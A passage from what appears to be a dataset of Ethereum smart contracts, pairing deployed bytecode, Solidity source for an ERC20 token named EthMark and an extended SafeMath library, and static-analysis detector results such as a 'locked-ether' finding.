ef856040518082815260200191505060405180910390a3600191505092915050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b5657600080fd5b610b608383611442565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0c57600080fd5b600360149054906101000a900460ff16151515610c2857600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d2d5780601f10610d0257610100808354040283529160200191610d2d565b820191906000526020600020905b815481529060010190602001808311610d1057829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610d5357600080fd5b610d5d83836116d3565b905092915050565b60045481565b6000600360149054906101000a900460ff16151515610d8957600080fd5b610d9383836118f2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610eba57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110a957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110f657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561118157600080fd5b6111d2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611265826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561143957fe5b80905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611553576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e7565b6115668382611aee90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561171057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561175d57600080fd5b6117ae826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611841826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061198382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611afc57fe5b8183039050929150505600a165627a7a7230582070f2a5d6f4a8ad86d15265e6254c71b3b631aff191e93fde90e89cd2acea5d530029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,308
0xae417e5adbf4b9bff777304b2f5a3b1b289ff1b0
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract EthMark is BurnableToken, Ownable { string public constant name = "EthMark"; string public constant symbol = "EMTC"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 50000000 * (10 ** uint256(decimals)); // Constructors function EthMark () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce56714610285578063378dc3dc146102b057806342966c68146102db578063661884631461030857806370a082311461036d5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd62314610510578063dd62ed3e14610575578063f2fde38b146105ec575b600080fd5b3480156100ec57600080fd5b506100f561062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61075a565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610a4c565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610a51565b6040518082815260200191505060405180910390f35b3480156102e757600080fd5b5061030660048036038101908080359060200190929190505050610a5f565b005b34801561031457600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc2565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e53565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610e9c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b50610430610ec2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efb565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b5061055b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110d1565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112cd565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611354565b005b6040805190810160405280600781526020017f4574684d61726b0000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561079f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061087083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b83826114ac90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6302faf0800281565b60008082111515610a6f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610abd57600080fd5b339050610b1282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6a826000546114ac90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cd3576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d67565b610ce683826114ac90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f454d54430000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3857600080fd5b610f8a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061116282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113ec57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114ba57fe5b818303905092915050565b60008082840190508381101515156114d957fe5b80915050929150505600a165627a7a723058207f00dd48d8fcb135207fd392b43b1b1370f1cf65e5671cd53e02a6b29045ce8b0029
{"success": true, "error": null, "results": {}}
7,309
0xdf0bbe9a4132a407382972e93f28afcf0af8e202
/** *Submitted for verification at Etherscan.io on 2021-04-14 */ // SPDX-License-Identifier: AGPL-3.0-or-later\ pragma solidity 0.7.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint256 c) { if (a > 3) { c = a; uint256 b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } /* * Expects percentage to be trailed by 00, */ function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } /* * Expects percentage to be trailed by 00, */ function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100), total_); } /** * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } contract 